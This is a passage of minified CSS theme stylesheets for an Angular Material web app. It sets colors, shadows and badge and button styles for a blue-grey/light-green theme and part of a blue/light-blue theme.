.mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffccbc4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.bluegrey-lightgreen-theme .mat-toolbar{background:#212121;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar.mat-primary{background:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar.mat-accent{background:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar.mat-warn{background:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field-underline,.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field-ripple,.bluegrey-lightgreen-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field-label,.bluegrey-lightgreen-theme .mat-toolbar .mat-focused .mat-form-field-label,.bluegrey-lightgreen-theme .mat-toolbar .mat-select-value,.bluegrey-lightgreen-theme .mat-toolbar .mat-select-arrow,.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.bluegrey-lightgreen-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.bluegrey-lightgreen-theme .mat-tooltip{background:rgba(97,97,97,.9)}.bluegrey-lightgreen-theme .mat-tree{background:#424242}.bluegrey-lightgreen-theme .mat-tree-node,.bluegrey-lightgreen-theme .mat-nested-tree-node{color:#fff}.bluegrey-lightgreen-theme .mat-snack-bar-container{color:#000000de;background:#fafafa;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.bluegrey-lightgreen-theme .mat-simple-snackbar-action{color:inherit}.bluegrey-lightgreen-theme a:link,.bluegrey-lightgreen-theme a:visited{color:#aed581;text-decoration:none}.bluegrey-lightgreen-theme a:hover,.bluegrey-lightgreen-theme a:focus,.bluegrey-lightgreen-theme a:active{text-decoration:underline}.bluegrey-lightgreen-theme a{outline:none}.bluegrey-lightgreen-theme .confirmation{color:#689f38}.bluegrey-lightgreen-theme .ribbon:before{border:5px solid #689f38}.bluegrey-lightgreen-theme .ribbon span{background-color:#689f38}.bluegrey-lightgreen-theme .error{color:#ff5722}.bluegrey-lightgreen-theme .ribbon-sold:before{border:5px solid #ff5722}.bluegrey-lightgreen-theme .ribbon-sold span{background-color:#ff5722}.bluegrey-lightgreen-theme .primary-notification{background-color:#263238}.bluegrey-lightgreen-theme .accent-notification{background-color:#558b2f}.bluegrey-lightgreen-theme .warn-notification{background-color:#e64a19}.bluegrey-lightgreen-theme .img-thumbnail{background-color:#546e7a0d;border:1px solid #546e7a;border-radius:3px;padding:3px}.bluegrey-lightgreen-theme .empty-star{stop-color:#546e7a}.bluegrey-lightgreen-theme .filled-star{stop-color:#689f38}.bluegrey-lightgreen-theme .star-border{stroke:#689f38}.bluegrey-lightgreen-theme .mat-snack-bar-container{background-color:#424242!important;color:#fff!important}.bluegrey-lightgreen-theme .mat-snack-bar-container.errorBar{color:#ff5722!important}.bluegrey-lightgreen-theme .mat-snack-bar-container.confirmBar{color:#689f38!important}.bluegrey-lightgreen-theme .google-button{background-color:#558b2f!important}.bluegrey-lightgreen-theme .deluxe-membership{background:linear-gradient(90deg,#546e7a 0%,#424242 100%)}.bluegrey-lightgreen-theme .overlay{background:rgba(38,50,56,.7)}.blue-lightblue-theme{--theme-primary: #1976d2;--theme-primary-lighter: #2585e5;--theme-primary-light: #378fe7;--theme-primary-darker: #1667b7;--theme-primary-dark: #145ca4;--theme-primary-fade-10: rgba(25, 118, 210, .9);--theme-primary-fade-20: rgba(25, 118, 210, .8);--theme-primary-fade-30: rgba(25, 118, 210, .7);--theme-primary-fade-40: rgba(25, 118, 210, .6);--theme-primary-fade-50: rgba(25, 118, 210, .5);--theme-accent: #0288d1;--theme-accent-lighter: #029cef;--theme-accent-light: #09a7fd;--theme-accent-darker: #0274b3;--theme-accent-dark: #02679e;--theme-accent-fade-10: rgba(2, 136, 209, .9);--theme-accent-fade-20: rgba(2, 136, 209, .8);--theme-accent-fade-30: rgba(2, 136, 209, .7);--theme-accent-fade-40: rgba(2, 136, 209, .6);--theme-accent-fade-50: rgba(2, 136, 209, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.blue-lightblue-theme .mat-ripple-element{background-color:#0000001a}.blue-lightblue-theme .mat-option{color:#000000de}.blue-lightblue-theme .mat-option:hover:not(.mat-option-disabled),.blue-lightblue-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.blue-lightblue-theme .mat-option.mat-option-disabled{color:#00000061}.blue-lightblue-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#1976d2}.blue-lightblue-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#0288d1}.blue-lightblue-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.blue-lightblue-theme .mat-optgroup-label{color:#0000008a}.blue-lightblue-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.blue-lightblue-theme .mat-pseudo-checkbox{color:#0000008a}.blue-lightblue-theme .mat-pseudo-checkbox:after{color:#fafafa}.blue-lightblue-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.blue-lightblue-theme .mat-primary .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#1976d2}.blue-lightblue-theme .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-pseudo-checkbox-indeterminate,.blue-lightblue-theme .mat-accent .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#0288d1}.blue-lightblue-theme .mat-warn .mat-pseudo-checkbox-checked,.blue-lightblue-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.blue-lightblue-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.blue-lightblue-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.blue-lightblue-theme .mat-app-background,.blue-lightblue-theme.mat-app-background{background-color:#fafafa;color:#000000de}.blue-lightblue-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.blue-lightblue-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.blue-lightblue-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.blue-lightblue-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.blue-lightblue-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.blue-lightblue-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.blue-lightblue-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.blue-lightblue-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.blue-lightblue-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.blue-lightblue-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.blue-lightblue-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.blue-lightblue-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.blue-lightblue-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.blue-lightblue-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.blue-lightblue-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.blue-lightblue-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.blue-lightblue-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.blue-lightblue-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.blue-lightblue-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.blue-lightblue-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.blue-lightblue-theme .mat-autocomplete-panel{background:white;color:#000000de}.blue-lightblue-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.blue-lightblue-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.blue-lightblue-theme .mat-badge{position:relative}.blue-lightblue-theme .mat-badge.mat-badge{overflow:visible}.blue-lightblue-theme .mat-badge-hidden .mat-badge-content{display:none}.blue-lightblue-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.blue-lightblue-theme .ng-animate-disabled .mat-badge-content,.blue-lightblue-theme .mat-badge-content._mat-animation-noopable{transition:none}.blue-lightblue-theme .mat-badge-content.mat-badge-active{transform:none}.blue-lightblue-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.blue-lightblue-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.blue-lightblue-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.blue-lightblue-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.blue-lightblue-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .blue-lightblue-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.blue-lightblue-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.blue-lightblue-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.blue-lightblue-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.blue-lightblue-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.blue-lightblue-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .blue-lightblue-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.blue-lightblue-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.blue-lightblue-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.blue-lightblue-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.blue-lightblue-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.blue-lightblue-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .blue-lightblue-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.blue-lightblue-theme .mat-badge-content{color:#fff;background:#1976d2}.cdk-high-contrast-active .blue-lightblue-theme .mat-badge-content{outline:solid 1px;border-radius:0}.blue-lightblue-theme .mat-badge-accent .mat-badge-content{background:#0288d1;color:#fff}.blue-lightblue-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.blue-lightblue-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.blue-lightblue-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.blue-lightblue-theme .mat-button,.blue-lightblue-theme .mat-icon-button,.blue-lightblue-theme .mat-stroked-button{color:inherit;background:transparent}.blue-lightblue-theme .mat-button.mat-primary,.blue-lightblue-theme .mat-icon-button.mat-primary,.blue-lightblue-theme .mat-stroked-button.mat-primary{color:#1976d2}.blue-lightblue-theme .mat-button.mat-accent,.blue-lightblue-theme .mat-icon-button.mat-accent,.blue-lightblue-theme .mat-stroked-button.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-button.mat-warn,.blue-lightblue-theme .mat-icon-button.mat-warn,.blue-lightblue-theme .mat-stroked-button.mat-warn{color:#f44336}.blue-lightblue-theme .mat-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.blue-lightblue-theme .mat-button.mat-primary .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#1976d2}.blue-lightblue-theme .mat-button.mat-accent .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#0288d1}.blue-lightblue-theme .mat-button.mat-warn .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.blue-lightblue-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.blue-lightblue-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.blue-lightblue-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.blue-lightblue-theme .mat-button .mat-ripple-element,.blue-lightblue-theme .mat-icon-button .mat-ripple-element,.blue-lightblue-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.blue-lightblue-theme .mat-button-focus-overlay{background:black}.blue-lightblue-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.blue-lightblue-theme .mat-flat-button,.blue-lightblue-theme .mat-raised-button,.blue-lightblue-theme .mat-fab,.blue-lightblue-theme .mat-mini-fab{color:#000000de;background-color:#fff}.blue-lightblue-theme .mat-flat-button.mat-primary,.blue-lightblue-theme .mat-raised-button.mat-primary,.blue-lightblue-theme .mat-fab.mat-primary,.blue-lightblue-theme .mat-mini-fab.mat-primary,.blue-lightblue-theme .mat-flat-button.mat-accent,.blue-lightblue-theme .mat-raised-button.mat-accent,.blue-lightblue-theme .mat-fab.mat-accent,.blue-lightblue-theme .mat-mini-fab.mat-accent,.blue-lightblue-theme .mat-flat-button.mat-warn,.blue-lightblue-theme .mat-raised-button.mat-warn,.blue-lightblue-theme .mat-fab.mat-warn,.blue-lightblue-theme .mat-mini-fab.mat-warn{color:#fff}.blue-lightblue-theme .mat-flat-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.blue-lightblue-theme .mat-flat-button.mat-primary,.blue-lightblue-theme .mat-raised-button.mat-primary,.blue-lightblue-theme .mat-fab.mat-primary,.blue-lightblue-theme .mat-mini-fab.mat-primary{background-color:#1976d2}.blue-lightblue-theme .mat-flat-button.mat-accent,.blue-lightblue-theme .mat-raised-button.mat-accent,.blue-lightblue-theme .mat-fab.mat-accent,.blue-lightblue-theme .mat-mini-fab.mat-accent{background-color:#0288d1}.blue-lightblue-theme .mat-flat-button.mat-warn,.blue-lightblue-theme .mat-raised-button.mat-warn,.blue-lightblue-theme .mat-fab.mat-warn,.blue-lightblue-theme .mat-mini-fab.mat-warn{background-color:#f44336}.blue-lightblue-theme .mat-flat-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-fab.mat-button-disabled.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-primary.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-accent.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-warn.mat-button-disabled,.blue-lightblue-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.blue-lightblue-theme .mat-flat-button.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-raised-button.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-fab.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-mini-fab.mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-flat-button.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-raised-button.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-fab.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-mini-fab.mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-flat-button.mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-raised-button.mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-fab.mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-stroked-button:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.blue-lightblue-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-fab:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.blue-lightblue-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.blue-lightblue-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.blue-lightblue-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.blue-lightblue-theme 